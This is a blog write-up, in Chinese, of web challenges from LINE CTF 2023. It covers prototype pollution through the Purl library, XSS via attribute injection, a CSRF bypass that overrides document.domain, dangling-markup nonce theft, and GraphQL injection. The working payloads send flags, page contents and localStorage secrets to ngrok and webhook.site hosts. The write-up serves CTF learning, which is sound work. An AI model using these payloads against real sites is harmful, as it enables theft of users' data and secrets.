最近開了一個讀者回饋表單,無論是對文章的感想或是對部落格的感想,有什麼想回饋的都可以填表單跟我說:表單連結

LINE CTF 2023 筆記

今年 Water Paddler 拿了第二名,總共 9 題 web 解掉了 8 題(我貢獻了 2 題),整體 web 的難度我覺得去年似乎比較難,今年比的人似乎也比較少一點。

話說最近我發現自己的 writeup 筆記沒有以前這麼多了,其中一個原因是最近比較忙,另一個原因是最近有興趣的題目(client side)沒這麼多,或我也有在想搞不好是隊友越變越強,還沒開題就被隊友解掉,我也懶得再去看題目,於是就懶得寫筆記了XD

這次只記幾題有參與或有興趣的,其他就先省略了。

Flag Masker (9 solves)

這題後端的程式碼很簡單,就是可以建立一個 note,然後輸出是安全的,沒有 XSS 的風險。

有趣的地方是 admin bot 接了一個 extension,程式碼有混淆過但幸好很短,worker.js 如下:

(() => {
  "use strict";
  (() => {
    console.log("Flag Master - worker script is loaded.");
    var e = function(e, n) {
      return n.replace(e, (function(e, r, a) {
        n = n.replace(new RegExp(r, "g"), "*".repeat(r.length)), n += "\x3c!--DETECTED FLAGS ARE MASKED BY EXTENSION--\x3e"
      })), n
    };
    chrome.runtime.onMessage.addListener((function(n, r, a) {
      var t = n.regex ? new RegExp(n.regex, "g") : new RegExp("LINECTF\\{(.+)\\}", "g");
      ! function(e, n) {
        var r = n.head,
          a = n.body;
        return e.test(r + a)
      }(t, n) ? a({
        head: null,
        body: null,
        flag: !1
      }): a({
        head: e(t, n.head),
        body: e(t, n.body),
        flag: !0
      })
    }))
  })()
})();

接收到 message 之後根據傳來的 regexp 去替換畫面上的內容,然後再傳回去。

而 content.js 是這樣:

(() => {
  var t = {
      576: (t, r, e) => {
        var a, n;
        void 0 === (n = "function" == typeof(a = function() {
          var t = {
              a: "href",
              img: "src",
              form: "action",
              base: "href",
              script: "src",
              iframe: "src",
              link: "href",
              embed: "src",
              object: "data"
            },
            r = ["source", "protocol", "authority", "userInfo", "user", "password", "host", "port", "relative", "path", "directory", "file", "query", "fragment"],
            e = {
              anchor: "fragment"
            },
            a = {
              strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,
              loose: /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/
            },
            n = /^[0-9]+$/;

          function o(t, e) {
            for (var n = decodeURI(t), o = a[e ? "strict" : "loose"].exec(n), i = {
                attr: {},
                param: {},
                seg: {}
              }, s = 14; s--;) i.attr[r[s]] = o[s] || "";
            return i.param.query = f(i.attr.query), i.param.fragment = f(i.attr.fragment), i.seg.path = i.attr.path.replace(/^\/+|\/+$/g, "").split("/"), i.seg.fragment = i.attr.fragment.replace(/^\/+|\/+$/g, "").split("/"), i.attr.base = i.attr.host ? (i.attr.protocol ? i.attr.protocol + "://" + i.attr.host : i.attr.host) + (i.attr.port ? ":" + i.attr.port : "") : "", i
          }

          function i(t, r) {
            if (0 === t[r].length) return t[r] = {};
            var e = {};
            for (var a in t[r]) e[a] = t[r][a];
            return t[r] = e, e
          }

          function s(t, r, e, a) {
            var o = t.shift();
            if (o) {
              var u = r[e] = r[e] || [];
              "]" == o ? c(u) ? "" !== a && u.push(a) : "object" == typeof u ? u[function(t) {
                var r = [];
                for (var e in t) t.hasOwnProperty(e) && r.push(e);
                return r
              }(u).length] = a : u = r[e] = [r[e], a] : ~o.indexOf("]") ? (o = o.substr(0, o.length - 1), !n.test(o) && c(u) && (u = i(r, e)), s(t, u, o, a)) : (!n.test(o) && c(u) && (u = i(r, e)), s(t, u, o, a))
            } else c(r[e]) ? r[e].push(a) : "object" == typeof r[e] || void 0 === r[e] ? r[e] = a : r[e] = [r[e], a]
          }

          function u(t, r, e) {
            if (~r.indexOf("]")) s(r.split("["), t, "base", e);
            else {
              if (!n.test(r) && c(t.base)) {
                var a = {};
                for (var o in t.base) a[o] = t.base[o];
                t.base = a
              }
              "" !== r && function(t, r, e) {
                var a = t[r];
                void 0 === a ? t[r] = e : c(a) ? a.push(e) : t[r] = [a, e]
              }(t.base, r, e)
            }
            return t
          }

          function f(t) {
            return function(t, r) {
              for (var e = 0, a = t.length >> 0, n = arguments[2]; e < a;) e in t && (n = r.call(void 0, n, t[e], e, t)), ++e;
              return n
            }(String(t).split(/&|;/), (function(t, r) {
              try {
                r = decodeURIComponent(r.replace(/\+/g, " "))
              } catch (t) {}
              var e = r.indexOf("="),
                a = function(t) {
                  for (var r, e, a = t.length, n = 0; n < a; ++n)
                    if ("]" == (e = t[n]) && (r = !1), "[" == e && (r = !0), "=" == e && !r) return n
                }(r),
                n = r.substr(0, a || e),
                o = r.substr(a || e, r.length);
              return o = o.substr(o.indexOf("=") + 1, o.length), "" === n && (n = r, o = ""), u(t, n, o)
            }), {
              base: {}
            }).base
          }

          function c(t) {
            return "[object Array]" === Object.prototype.toString.call(t)
          }

          function d(t, r) {
            return 1 === arguments.length && !0 === t && (r = !0, t = void 0), r = r || !1, {
              data: o(t = t || window.location.toString(), r),
              attr: function(t) {
                return void 0 !== (t = e[t] || t) ? this.data.attr[t] : this.data.attr
              },
              param: function(t) {
                return void 0 !== t ? this.data.param.query[t] : this.data.param.query
              },
              fparam: function(t) {
                return void 0 !== t ? this.data.param.fragment[t] : this.data.param.fragment
              },
              segment: function(t) {
                return void 0 === t ? this.data.seg.path : (t = t < 0 ? this.data.seg.path.length + t : t - 1, this.data.seg.path[t])
              },
              fsegment: function(t) {
                return void 0 === t ? this.data.seg.fragment : (t = t < 0 ? this.data.seg.fragment.length + t : t - 1, this.data.seg.fragment[t])
              }
            }
          }
          return d.jQuery = function(r) {
            null != r && (r.fn.url = function(e) {
              var a, n, o = "";
              return this.length && (o = r(this).attr((a = this[0], void 0 !== (n = a.tagName) ? t[n.toLowerCase()] : n)) || ""), d(o, e)
            }, r.url = d)
          }, d.jQuery(window.jQuery), d
        }) ? a.call(r, e, r, t) : a) || (t.exports = n)
      },
      144: function(t, r, e) {
        "use strict";
        var a = this && this.__importDefault || function(t) {
          return t && t.__esModule ? t : {
            default: t
          }
        };
        Object.defineProperty(r, "__esModule", {
          value: !0
        });
        var n, o, i = a(e(576));
        console.log("Flag Masker - content script is loaded."), n = (0, i.default)(location.href), o = {}, localStorage.config ? o = JSON.parse(localStorage.config) : fetch("/config").then((function(t) {
          return t.json()
        })).then((function(t) {
          localStorage.setItem("config", JSON.stringify(t)), o = t
        })), chrome.runtime.sendMessage({
          regex: o.regex,
          head: window.document.head.innerHTML,
          body: window.document.body.innerHTML
        }).then((function(t) {
          t.flag && (window.document.head.innerHTML = t.head, window.document.body.innerHTML = t.body, fetch(n.data.attr.path + "/alert", {
            referrerPolicy: "unsafe-url"
          }))
        }))
      }
    },
    r = {};
  ! function e(a) {
    var n = r[a];
    if (void 0 !== n) return n.exports;
    var o = r[a] = {
      exports: {}
    };
    return t[a].call(o.exports, o, o.exports, e), o.exports
  }(144)
})();

這個程式碼就比較長一點了,不過在做的事情大概就是先讀取 config,然後把 body 跟 head 的內容都傳給剛剛的 worker 去做取代,取代完之後再放回畫面上,然後有找到符合的內容,回報給 n.data.attr.path + /alert 這個位置。

上面那一大串如果搜尋一下,會發現是來自於 Purl 這個停止維護很久的 library,除了有 prototype pollution 的問題以外,對於網址的 parse 也是漏洞百出。

首先是 prototype pollution,我們只要污染 config 就可以控制 localStorage.config 屬性,傳入我們想要的 regexp,原本想的是可以弄個 ReDos 之類的再看怎麼樣去偵測時間,但後來發現 n.data.attr.path 這個也是可以控制的。

舉例來說,http://web:8000/#@acabc//8cae-ip.ngrok.io 這個網址的 path 會被解析成 //8cae-ip.ngrok.io,所以可以把 request 傳到我們這裡來。

再搭配前面講的 config,就可以知道哪個 regexp 有配對到。

<script>
  const domain = '8cae.ngrok.io'
  const base = 'http://' + domain
  function getUrl(flag) {
    return `http://web:8000/#@acabc//${domain}/${flag}?q[__proto__][config]={"regex":"${flag}"}`
  }

  function report(msg) {
    fetch(base + '?msg=' + msg)
  }

  function visit(str) {
    var w = window.open(getUrl(str))
    setTimeout(() => {
      w.close()
    }, 2000)
  }

  let flag = 'LINECTF{'
  const charset = '0123456789abcdef'
  const sleep = ms => new Promise(r => setTimeout(r, ms))
  async function main() {

    for(let i=0; i<32; i++) {
      for(let c of charset) {
        const str = flag + ".".repeat(i) + c
        visit(str)
        await sleep(100)
      }
    }
  }

  main()
  

</script>

除了這種解法以外,另一種更猛的是直接利用原本的功能做出 XSS,每一個 note 的結構是這樣:

<li>
  <div class="rotate-1 yellow-bg">
    <p>{content}</p>
  </div>
</li>

假設我建立了兩個 note,第一個內容是 " id=a x=",第二個是 LINECTF{rotate-1 yellow-bg"}

HTML 內容就會變成:

<li>
  <div class="rotate-1 yellow-bg">
    <p>" id=a x="</p>
  </div>
</li>
<li>
  <div class="rotate-1 yellow-bg">
    <p>LINECTF{rotate-1 yellow-bg"}</p>
  </div>
</li>

其實 " 在後端一樣會被編碼,所以直接看 source 的話會看到 &#34;,但如果是用 document.body.innerHTML,或許是瀏覽器覺得沒必要 encode,就會看到雙引號,而不是 &#34;,所以雙引號的編碼反倒沒作用了。

接著 extension 介入,把 rotate-1 yellow-bg" 變成 *** 之類的字,就變成:

<li>
  <div class="xxx>
    <p>" id=a x="</p>
  </div>
</li>
<li>
  <div class="xxx>
    <p>LINECTF{xxx}</p>
  </div>
</li>

稍微調整一下新的結構:

<li>
  <div class="xxx><p>" id=a x="</p></div></li><li><div class=" xxx>
    <p>LINECTF{xxx}</p>
  </div>
</li>

前面的一個雙引號被取代掉,跟原本內容開頭的雙引號結合,最後面的 x=" 則跟下一個結合,而中間的 id=a 順利變成了屬性的一部分。

換句話說,我們可以對 div 插入任意屬性,就能利用 focus 的功能做出 XSS,底下是在 Discord 中 Renwa 給的 payload:

note 1:
"tabindex="1"onfocus="eval(window.name)"style="position:relative;height: 20000px; width: 20008px;"autofocus="1"id="jj"x="

note 2:
LINECTF{rotate-1 yellow-bg"}

Report:
@domain.wtf/0ff.html

Contents of 0ff.html:
<!DOCTYPE html>
<html>
<body>
<img src=http://httpstat.us/200?sleep=5000>
<script>
var x= window.open('http://web:3000/8be526fd-e193-436c-a431-84141a0903b9','fetch(`http://web:8000/`,{credentials: "same-origin"}).then(x=>x.text()).then(x=>fetch(`https://webhook.site/603ab026-5a65-432f-a894-5d981fd24198?flag=${btoa(x)}`))');
setTimeout(function(){
x.location='http://web:8000/8be526fd-e193-436c-a431-84141a0903b9#jj'
},500)

</script>


</html>

當時完全沒想到可以這樣,真是厲害。

Another Secure Store Note (7 solves)

這題有個改名字的功能,名字會直接反映在畫面上,是一個 free XSS,但問題是改名字會需要檢查 CSRF token,有一個叫做 getSettings.js 的檔案裡面會有 CSRF token:

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

這邊會檢查是不是在 window context 以及 document.domain,看到這邊我瞬間想起了 2022 年 10 月的 Intigriti XSS challenge,作者 writeup 在這:https://github.com/0xGodson/blogs/blob/master/_posts/2022-10-14-intigriti-oct-xss-challenge-author-writeup.md

裡面有一個部分是用 web worker 來繞過對 window.location.href 以及 document.domain 的檢查,像是這樣:

// worker.js

window = {}
window.location = {}
document = {}

// send the secret to top window!
window.saveSecret = function(msg){  
  self.postMessage(msg)  
}

window.location.href = "https://challenge-1022.intigriti.io/challenge/create";
document.domain = "challenge-1022.intigriti.io";

// we can use importScripts function from API to import external scripts!
importScripts("https://challenge-1022.intigriti.io/challenge/getSecret.js");

所以這題特別檢查 context 應該是想把這個擋住,但幸好當時在研究 Intigriti 這個的時候,我發現 document.domain 其實可以自己用 Object.defineProperty 硬蓋過去,所以這樣就可以 CSRF:

<script>
  Object.defineProperty(document, 'domain', {
    value: '35.200.57.143'
  })
</script>
<input id="_csrf" />
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<form id=f method=POST action="https://35.200.57.143:11004/profile" target="_blank">
  <input name="name" value="poc">
  <input name="csrf" value="">
</form>

<script>
  const csrf = _csrf.value
  f.csrf.value = csrf
  f.submit()
</script>

再來就是要偷 nonce 了,這題用的瀏覽器是 Firefox,對於 Dangling Markup Injection 似乎沒做什麼防護,可以用 meta redirect 偷到下面的內容:<meta http-equiv=refresh content='0; url=http://43d1-ip.ngrok.io/steal?q=

最後一步就是要阻止 csp.gif 的載入,因為只要這個被載入的話,nonce 就會改變,我花了一個半小時找尋怎麼把它擋掉,原本想說應該可以靠之前提過的 concurrent limit 來防止,但怎麼弄都不成功。

最後發現原本 base-uriself,所以 base 是可以用的,那就用 base 就好了,浪費了一小時 QQ

<script>
  Object.defineProperty(document, 'domain', {
    value: '35.200.57.143'
  })
</script>
<input id="_csrf" />
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<form id=f method=POST action="https://35.200.57.143:11004/profile" target="test">
  <input name="name" value="poc">
  <input name="csrf" value="">
</form>

<script>
  var win = window.open('https://35.200.57.143:11004/profile', 'test')
  fetch('/clear')
  stealNoncePayload = "<base href='https://35.200.57.143:11004/abc/def/'><meta http-equiv=refresh content='0; url=http://43d1-ip.ngrok.io/steal?q="
  const csrf = _csrf.value
  f.csrf.value = csrf
  f.name.value = stealNoncePayload
  
  setTimeout(() => {
    f.submit()
  }, 500)
  

  function poll() {
    fetch('/nonce')
      .then(res => res.text())
      .then(nonce => {
          if (!nonce) {
            return setTimeout(poll, 100)
          }
          f.name.value = `<script nonce=${nonce}>
            location = 'http://43d1-ip.ngrok.io?q='+localStorage.getItem('secret')
          <\/script>`
          f.submit()
      })
  }
  poll()

</script>

Momomomomemomemo (3 solves)

這題隊友解出來的,也滿有趣的,總之就是前端會根據你提供的 id 用 GraphQL 去抓結果:

memo(id) {
    const query = `query { 
        memo (
            id: "${id}", 
            token: "${this.token}") {
                content
            } 
        }`;
    return this.#query(query);
}

在最後 query 的部分是使用了 persisted queries,以前有聽過,大概就是你先送 query 的 hash 出去,如果以前就有執行過的話,會直接送結果回來。

反之若是沒有,你就再送一次 hash + query,讓後端去 cache 結果,而前端的實作是這樣:

async #query(query) {
    const hash = await this.#getQueryHash(query);
    const res = await fetch(
        this.endpoint +
            "?" +
            new URLSearchParams({
                extensions: JSON.stringify({
                    persistedQuery: { version: 1, sha256Hash: hash },
                }),
            }),
        {
            headers: { "Content-type": "application/json" },
        }
    );
    const data = await res.clone().json();
    if (data.errors) {
        if (data.errors[0].extensions.code == "PERSISTED_QUERY_NOT_FOUND") {
            return await fetch(this.endpoint, {
                method: "POST",
                headers: { "Content-type": "application/json" },
                body: JSON.stringify({
                    query,
                    extensions: {
                        persistedQuery: {
                            version: 1,
                            sha256Hash: hash,
                        },
                    },
                }),
            });
        }
    }
    return res;
}

這邊前端也用了 Purl 這個 lib,所以一樣有 prototype pollution 可以用,但這題可以污染什麼呢?答案在底下這一段裡面:

const purl = window.purl

const memoId = purl().param('id')

const gql = new GraphQL(location.origin)

class GraphQL {
    constructor(host, option = {}) {
        this.endpoint = host + "/";
        this.endpoint += option.path || "graphql";
    }
    // ...
}

你可以污染 path,就能操控 option.path,但操控這個可以做什麼?這就跟後端的 i18n 邏輯有關了,實作如下:

// simple i18n
app.use(function (req, res, next) {
    let origPath = req.originalUrl.split('?')[0]
    let origParam = req.originalUrl.split('?')[1]
    let langPath = 'en/'
    
  
    if (origPath.match(/((\/en\/?)|(\/ja\/?))$/) || origPath.match(/^(\/static\/|\/graphql\/?|\/favicon.ico\/?)/)) {
      next()
    } else {
      if (req.headers['accept-language'] && req.headers['accept-language'].split(',')[0] === 'ja') langPath = 'ja/'
      res.redirect(origPath + (origPath.endsWith('/') ? '' : '/') + langPath + (origParam ? '?' + origParam : ''))
    }
  })

要注意的是 req.originalUrl 只會有 path 的部分,所以像 http://chall:11005/abc 的話,originalUrl 就會是 /abc

靠著上面操控的 path,我們可以把 path 污染成 /huli.tw/,這樣送出的 URL 就是:http://34.85.126.119:11005//huli.tw/?extensions=...,到了後端的 redirect 邏輯,最後就會被導到 //huli.tw/en/?extension=...

如此一來,就可以靠著 prototype pollution 把 request 導到自己的 server,拿到 query string。

這題的目的是要偷 admin 的 memo,可是我們並不知道 admin memo id,要怎麼辦呢?

仔細看這一段:

memo(id) {
    const query = `query { 
        memo (
            id: "${id}", 
            token: "${this.token}") {
                content
            } 
        }`;
    return this.#query(query);
}

我們可以精心構造一個 id 達成 GraphQL injection,像這樣:

query { 
  memo (
    id: "a", token: "b"
  ) { content }

  memo2: memos(
    token: "${this.token}") {
        content
    } 
}

這樣就變成了兩個 query,原本應該是 memo 的 token 變成了 memos 的 token,就可以拿到所有 admin 的 note。

因此,最後的解法就是先送一次這個改造過的 query,讓 server 把結果存起來,再加上 prototype pollution,讓 request 導到我們的 server,就可以知道 hash 是多少,就能拿到結果。

零日文基本情報技術者與情報セキュリティマネジメント試験準備心得 DiceCTF 2023 筆記

評論